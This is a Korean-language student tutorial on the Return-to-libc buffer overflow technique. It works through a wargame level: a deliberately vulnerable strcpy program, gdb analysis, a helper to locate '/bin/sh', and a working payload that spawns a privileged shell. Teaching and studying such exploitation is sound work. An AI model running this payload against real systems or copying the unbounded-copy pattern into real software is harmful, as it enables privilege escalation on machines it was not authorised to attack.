Return-to-libc Mini (skyclad0x7b7@gmail.com) 2015-08-22
- INDEX - 1. 개요... - 2-1-1. 서문... - 2-1-2. RTL 공격이란... - 2 - 보호기법... - 3 - Libc 란?... - 4-2. RTL 공격... - 4-2-1. 취약한코드... - 4-2-2. 분석... - 5-2-3. 공격... - 8 - RTL 을위한함수프롤로그... - 9-3. 마치며...- 13 - - 1 -
1. 개요 1-1. 서문 해당문서는작성자가공부한내용을정리하고문서화하기위해만든것입니다. 아직공부중인학생인만큼내용에오류도있을수있고, 명확하지못한부분도있을수있습니다. 수정할부분이나보완할부분, 더보충이필요한부분은메일 ('skyclad0x7b7@gmail.com') 이나블로그로부탁드립니다. 해당문서에서다루는 BOF 공격의내용은어느정도의프로그래밍지식이있는분들을대상으로한것이며, 대부분 32 비트 LINUX 환경에서의공격을다루고있습니다. 이문서는 BOF 문서이후, 두번째로제작하는문서입니다. 1-2. RTL 공격이란 RTL 은 Return-to-libc 의약자로, 기존의 BOF 공격이보통 RET 에쉘코드의주소를덮어쓰는것으로 EIP 를변조시켜프로그램의실행을제어하는것과는달리, RET 에라이브러리함수의주소를덮어씌워라이브러리내의함수를실행시키는기법입니다. 이전 BOF 문서와마찬가지로이공격은어떤상황에서사용하는지, libc 란무엇인지등기초지식들을먼저설명후본제로들어가도록하겠습니다. - 2 -
보호기법 BOF 취약점은이미널리알려져있고, 해커들외에개발자들도이미그위협을충분히느끼고그에대한대책을마련하고있습니다. 가장좋은방법은 strcpy 나 gets 같은위험한함수의사용을자제하고 strncpy 처럼길이를지정해주거나,scanf 를사용하면서 %10s 처럼포맷스트링에길이제한을주는등오버플로우를미연에방지하는것입니다. 하지만사용하는게좋다고해서꼭그렇게만사용하는것은아닙니다. 실수로저함수들을사용할수도있고, 애초부터 strcpy 나 gets 함수가위험하다는자각이없는초보개발자들같은경우충분히 BOF 취약점이있는코드를작성할수있습니다. 따라서최근의거의모든 OS 는시스템차원에서공격을방지할수있도록해주는보호기법들이적용되어있습니다. 여기서는그보호기법들중몇가지를설명하고, 어떤상황에서 RTL 이유용하게쓰이는지를알아봅니다. - Non-Executable Stack 우리는가장기본적인 BOF 공격을할때, 환경변수나할당된버퍼내에쉘코드를집어넣고그주소값으로 RET 를덮어씌워주는것으로 EIP 를변조시켜공격에성공하였습니다. 하지만그것은 Stack 에코드실행권한이있었을때의이야기입니다. 만약 Stack 에들어간쉘코드를실행시키지못하도록, EIP 가 Stack 내부의명령어를가리킬때실행이되지않도록설정해버린다면, 우리가설정해둔환경변수나버퍼에집어넣은쉘코드는모두무용지물이됩니다.Non-ExecutableStack 은의미그대로스택내부에서코드가실행되지않도록, 실행권한을없애버리는보호기법을의미합니다. 이외에도 Heap 영역에서의코드도실행되지않도록할수있는데, 이두가지보호기법을모두합쳐 NX 라고부릅니다. - Random Stack 프로그램이실행후할당된버퍼에쉘코드를넣는다던가, 환경변수에쉘코드를넣는다던가관계없이이값들은모두스택에저장됩니다. 그리고이번 BOF 문서에서는 findsh 프로그램을짜던지, gdb 로디버깅을하던지해서이주소값을알아낸뒤, 그주소로 RET 를덮어씌우는방식으로 BOF 를진행했습니다. 하지만만약프로그램이실행될때마다스택의주소가바뀐다면어떻게될까요? 쉘코드의주소를정확히특정할수없게되므로공격이힘들어집니다. NOP Sled 를많이넣는방식으로확률적으로공격할수는있지만확실하지않은방법입니다. 꽤쓸만한보호기법이고, 실제로이후에는스택외에도라이브러리주소, Heap 주소등메모리주소를전체적으로다섞어버리는상위호환보호기법인 ASLR 도존재합니다. 일단지금은 Random Stack 만봐도됩니다. - 3 -
이외에도 RTL 을치명적으로막아버리는 ASCII Armor 등이있지만, 이걸뚫는방법을설명하기위해서는좀더고도화된기법을배워야가능하므로지금은빼도록하겠습니다. 이런보호기법이적용되어있는상황에서쉘코드를이용한공격은난항을겪기마련입니다. 하지만 RTL 은이보호기법들을싹무시하고쉘코드없이도아주간단히공격이가능합니다. 실제로쉘코드치는시간이아까워서기본적인 BOF 기법을쓸수있을때에도 RTL 을사용할정도입니다. Libc 란? 간단히말해서 C 에서사용가능한표준함수들을모아둔표준라이브러리입니다. C 로프로그램을만들때, 거의모든프로그램은이라이브러리를참조하여기능을구현하게됩니다. 많은프로그램들이이를사용해야하므로기본적으로주소는고정되어있습니다. 언급한바와같이 Libc 의주소는기본적으로고정되어있기때문에 Libc 내부의원하는함수의주소만알아낼수있다면원하는함수의주소를 RET 에덮어씌워해당함수가실행되도록할수있습니다. 2. RTL 공격 2-1. 취약한코드 우선지금까지얘기해온 BOF 공격이발생할수있는상황에는어떤것이있는지살펴봅시다. 실습진행은 Lord of Buffer Overflow 의 gremlin 계정에서진행하였습니다. 물론보호기법은적용되어있지않지만적용되어있다고가정하고실습을진행하겠습니다. - 4 -
int main(intargc, char *argv[]) { char buffer[16]; if(argc< 2){ printf("argv error\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); return 0; } 버퍼의크기가 16 바이트이고, Random Stack 과 Non-Executable Stack 기법으로인해일반적인 BOF 를이용해서는공격이불가능합니다. 2-2. 분석 메모리구조를확인하기위해분석에들어가겠습니다. - 5 -
위코드를 gcc 2.91.66 버전에서컴파일링했을때 main 의어셈블리코드입니다. 0x8048430 <main>: push %ebp 0x8048431 <main+1>: mov %ebp,%esp 0x8048433 <main+3>: sub %esp,16 0x8048436 <main+6>: cmp DWORD PTR [%ebp+8],1 0x804843a <main+10>: jg 0x8048453 <main+35> 0x804843c <main+12>: push 0x80484d0 0x8048441 <main+17>: call 0x8048350 <printf> 0x8048446 <main+22>: add %esp,4 0x8048449 <main+25>: push 0 0x804844b <main+27>: call 0x8048360 <exit> 0x8048450 <main+32>: add %esp,4 0x8048453 <main+35>: mov %eax,dword PTR [%ebp+12] 0x8048456 <main+38>: add %eax,4 0x8048459 <main+41>: mov %edx,dword PTR [%eax] 0x804845b <main+43>: push %edx 0x804845c <main+44>: lea %eax,[%ebp-16] 0x804845f <main+47>: push %eax 0x8048460 <main+48>: call 0x8048370 <strcpy> 0x8048465 <main+53>: add %esp,8 0x8048468 <main+56>: lea %eax,[%ebp-16] 0x804846b <main+59>: push %eax 0x804846c <main+60>: push 0x80484dc 0x8048471 <main+65>: call 0x8048350 <printf> 0x8048476 <main+70>: add %esp,8 0x8048479 <main+73>: leave 0x804847a <main+74>: ret 0x08048460 주소부분이 strcpy 함수가실행되는부분이고, 그함수의인자로들어가는부분이 0x0804845c 의 명령인 ebp-16 의주소값입니다. 실제코드에서 16 바이트를할당했으므로 Dummy 값은따로없이정확히 16 바이트가할당되었다고볼수있겠습니다. 그래도확인을위해 Dummy 를넣는것으로 SFP 와 RET 가 덮어써지는것을확인해보겠습니다. - 6 -
(gdb) x/20x $esp 0xbffffb30: 0xbffffb38 0xbffffc94 0x41414141 0x41414141 0xbffffb40: 0x41414141 0x41414141 0xbffffb00 0x400309cb 0xbffffb50: 0x00000002 0xbffffb94 0xbffffba0 0x40013868 0xbffffb60: 0x00000002 0x08048380 0x00000000 0x080483a1 0xbffffb70: 0x08048430 0x00000002 0xbffffb94 0x080482e0 (gdb) argv[1] 으로 A 를정확히 16 개집어넣었습니다.SFP 나 RET 를전혀건드리지않고값이쌓일것이라고예상할수있습니다.0xbffffb48 이 SFP, 0xbffffb4C 가 RET 라고볼수있겠습니다. 이걸계속실행시키면 (gdb) c Continuing. AAAAAAAAAAAAAAAA Program exited with code 021. (gdb) 정상적으로값을출력합니다. 전부확인하기귀찮으니오류를이용해확인합시다. [gremlin@localhost gremlin]$./cobolt `python -c 'print "A"*20'` AAAAAAAAAAAAAAAAAAAA Segmentation fault [gremlin@localhost gremlin]$./cobolt `python -c 'print "A"*19'` AAAAAAAAAAAAAAAAAAA [gremlin@localhost gremlin]$ 문자열의끝에는자동적으로 Null 이들어가기때문에 A 를 20 개넣었을때, 즉 SFP 를덮고 RET 을 1 바이트침범했을때 Segmentation fault 오류가나타나는것을볼수있습니다. 19 글자로줄여서넣어보니정상실행됩니다. 이걸로메모리구조를확실히알수있습니다. [... ] [ RET ] [ SFP ] [ buf (16 bytes) ] [... ] 높은주소낮은주소 - 7 -
이렇게된다고예측이가능합니다. 2-3. 공격 RTL 은 RET 에라이브러리함수의주소를넣어주고, 이를이용해서공격하는것이라고말씀드렸습니다. 그래서구체적으로어떻게공격해야하는것일까요? C 에서쉘을실행시키도록하는명령은아주간단한것이있습니다. system 함수를사용한것이바로그것으로, system( /bin/sh ); 명령을실행시키기만하면바로쉘을띄워줍니다. 즉, system 함수를사용하는것으로쉘을간단히딸수있습니다. 우선 system 함수의주소를구합니다. [gremlin@localhost gremlin]$ gdb -q cobold (gdb) b *main Breakpoint 1 at 0x8048430 (gdb) r Starting program: /home/gremlin/cobold Breakpoint 1, 0x8048430 in main () (gdb) p system $1 = {<text variable, no debug info>} 0x40058ae0 < libc_system> (gdb) 라이브러리의주소같은경우 gdb 를이용해서디버깅할시실행권한이없을수도있고, 심볼을전부지워버려 main 을찾을수없을수도있으므로직접실행파일을하나만들어서디버깅을통해찾아내는것이좋습니다. 위에서도언급했다시피라이브러리함수는거의모든프로그램에서참조하는값이기때문에기본적으로시스템에서고정되어변하지않습니다. p 명령을이용해 system 함수의주소를찾았다면이제함수에넣을인자의주소를찾아야합니다. 시스템함수는쉘에서명령어를실행하기위해내부에서 execve 함수를또실행하는데, 이함수는 /bin/sh 를인자로받습니다. 따라서 system 함수내부에는 /bin/sh 가들어있다는의미가됩니다. - 8 -
#include <stdio.h> #include <stdlib.h> int main() { longsh = 0x40058ae0; while(memcmp((void *)sh, "/bin/sh", 8)) sh++; printf("/bin/sh => 0x%08x\n", sh); return 0; } 시스템함수의주소를기반으로 1 씩늘려가며 /bin/sh 과비교하여문자열의주소를찾아내는코드입니다. /bin/sh 는문자열이므로마지막에 Null 값을포함하기때문에비교하는바이트수는 8 바이트가됩니다. 이를통해주소를알아내었으면, 시스템함수와함께메모해둡시다. 이제필요한것들은전부챙겼으니, 이를이용해서공격만하면됩니다. 공격원리를설명하기전에먼저어떻게공격하면되는지를알려드리겠습니다. 페이로드는 [ Dummy (20 bytes) ] [ &system ] [ Dummy (4 bytes) ] [ &/bin/sh ] 입니다. system 함수의주소를 RET 에집어넣어실행시켜주고, 그함수의인자는 4 바이트를더미로준후에넣어줍니다. 어째서그런지설명하겠습니다. RTL 을위한함수프롤로그원래어셈블리어에서정상적으로함수를실행할때, 보통은 Call Func 형식으로짜여진어셈블리코드를통해실행시킵니다. BOF 문서에서봤던것과같이함수프롤로그시에는함수가끝난후에실행할명령어의주소를담은 RET 와 EBP 의주소를담은 SFP 가저장됩니다. 하지만 RET 를함수의주소로덮어써함수를실행시킨경우에는 Call 을수행할때와는다릅니다. 함수에필로그중 RET 에서값을가져와 EIP 를복구시키는 ret 명령이 POP EIP, JMP EIP 이기때문에 Call 명령을수행하지않고그냥함수의주소로점프하게됩니다. 따라서 RET 이만들어지지않게됩니다. 바로함수프롤로그인 PUSH EBP / MOV EBP, ESP 가실행되는것입니다. 하지만함수내부에서는당연히 Call 로함수를실행했다고간주하고실행하기때문에함수의인자를가져올때는 EBP+8 (SFP 와 RET 의 8 바이트를더합니다 ) 에서참조하여가져옵니다. 이래서함수내에서최초에실행되는 PUSH EBP, MOV EBP, ESP 로더해진 4 바이트에 Dummy 4 바이트를더해총 8 바이트의거리를주는것입니다. 이부분을이해하는것이중요하므로예를들어살펴보겠습니다. - 9 -
아직도저히이해가안되시는분은일단 RTL 을사용할때는 RET 에서 4 바이트떨어진곳에인자를넣는다고만알아두시면되겠습니다. 라이브러리내에 test 라는함수가있다고치고, 이함수는인자로 a 와 b 를받는다고합니다. 이경우정상적으로 Call 에의해실행되는흐름을살펴보면다음과같습니다. Main( 편의상 Main 이라고칭하겠습니다 ) 에서 Func 에인자를주기위해 b 와 a 순서로집어넣었습니다. 스택구조상저렇게넣으면인자를순서대로호출하는것이편하기때문입니다. 스택의 LIFO 구조는이전에제작한 BOF 문서에서설명하였습니다. 마찬가지로전에설명했다시피 Stack 은높은주소에서낮은주소로쌓이기때문에붉은글씨로적힌 PUSH, PUSH, Call, PUSH 부분에서각각값이하나씩저장되어들어갑니다. 함수프롤로그중 MOV EBP, ESP 부분덕분에함수프롤로그이후에 EBP 와 ESP 는같은곳을가리키고있게됩니다. 그리고 EBP 는함수가바뀌지않는한그자리를그대로유지하며기준점이됩니다. 여기서보면알수있다시피 RET 와 SFP 의크기인 8 바이트를더하면 EBP 를기준으로인자에접근이가능합니다. 이것이바로 Call 명령에의해실행되는정상적인함수입니다. 이번에는 JMP 에의해 Call 을스킵하고직접들어가는 RTL 기법을살펴보겠습니다. - 10 -
BOF 기법을이용하여 BUF 에서부터 b 까지를전부덮어씌웠습니다. 여기서는 Main 의구조는그릴필요가없으므로생략하였습니다. STACK 의기울어진글자들이모두덮어씌워진값들입니다. RET 을 Func 함수의주소로설정하였고, 그다음 4 바이트를 AAAA 라는 Dummy 값으로설정한후인자 a 와 b 를넣어주었습니다. 함수에필로그가진행되며 ret 에서 POP EIP, JMP EIP 가실행되므로 Func 함수내부로점프함과동시에 ESP 는 AAAA 를가리킵니다. 여기서 Func 함수의프롤로그가일어나므로 PUSH EBP 가실행되어 ESP 는다시 RET 이었던부분을가리킵니다. 또한 MOV EBP, ESP 에의해 EBP 도 ESP 와같은부분을가리키게됩니다. 이상태에서살펴보면 EBP+8 부분에정상적으로인자가있고, 접근이가능한것을알수있습니다. 이렇게어찌보면정상적으로보이게라이브러리함수를실행시키는것이 RTL 기법의핵심입니다. 여기선굳이알아둘필요가없지만해당라이브러리함수가끝나고나면당연하게도함수에필로그가일어나는데, 이함수에필로그에서 RET 부분이 Dummy 로넣었던 AAAA 이기때문에저기에다른함수의주소를넣는것으로 RTL Chaining 기법을사용할수있습니다. 함수에필로그에관한부분은 FPO(Frame Pointer Overwrite) 부분에서, RTL Chaining 기법은 GOT Overwrite 및 ROP(Return Oriented Programming) 부분에서더자세히살펴보도록하겠습니다. - 11 -
여기까지보셨다면이제어째서페이로드에서 RET 뒤에 Dummy 값 4 바이트가필요했는지아실것이라고생각합니다. 공격을계속합니다. [gremlin@localhost gremlin]$./cobolt `python -c 'print "A"*20+"\xe0\x8a\x05\x40"+"AAA A"+"\xf9\xbf\x0f\x40"'` AAAAAAAAAAAAAAAAAAAA?@AAAA 廈 @ bash$ id uid=501(gremlin) gid=501(gremlin) euid=502(cobolt) egid=502(cobolt) groups=501(gremli n) bash$ whoami cobolt bash$ 구한 system 의주소와 /bin/sh 의주소를페이로드에맞추어집어넣어주면쉘을획득할수있습니다. 위에서예로든인자 a, b 대신 "/bin/sh" 의주소를 system 함수의인자로만들어줌으로써결론적으로 system("/bin/sh"); 명령을실행시킨것입니다. /bin/sh 이끝나고나면당연히원래작업으로돌아오게되므로 exit 명령을이용하여원래대로돌아오면 Segment fault 가나는것을확인할수있을것입니다. 이는 Dummy 로 'AAAA' 를넣었기때문에 EIP 에도 'AAAA' 가들어갔기때문입니다. 이렇게 RTL 을이용한공격에성공하였습니다. - 12 -
3. 마치며 저번버퍼오버플로우문서를제작한뒤한동안바빠서문서제작에신경을쓰지못했습니다. 이번에는 BOF 문서를읽어주신한분이피드백으로그림이조금더있는편이읽고이해하는데도움이될것같다고말씀하셔서없는재주를부려그림을조금넣어보았습니다. 포토샵이나일러스트레이터가현재설치되어있지않은터라파워포인트등으로만들어조잡하기짝이없지만양해부탁드립니다. 시스템해킹을계속해서공부해나가며느끼는것이지만 BOF 라는가장기본적인공격에서시작하여 RTL, FPO, GOT Overwrite 등의고급기법들을섞어나가면서점점더심화되어가는시스템해킹은뭔가수학과비슷하다는생각이듭니다. 필자는수학을잘하지못하지만말이죠. 이후작성하게될 FPO 와 GOT Overwrite, ROP 등의문서들은지금까지의공격들보다좀더복잡하고생각할거리가많은주제들입니다. 그만큼어렵기도하구요. 시스템해킹은이렇게기초적인 BOF 에서모든것이시작되기때문에기초개념을확실히잡아두지않으면고급기술을배워서사용하기에무리가많습니다. 이문서를보시는모든분들이기초를잡는데조금이나마도움이되었으면기쁘겠습니다. 그리고이번에 tistoty 블로그를운영하게되어서이문서에서언급하는블로그는 tistory 로전부바꿀예정입니다. 서문에서언급했듯이지적사항이나질문, 보충은메일 ('skyclad0x7b7@gmail.com') 또는블로그로부탁드립니다. - 13 -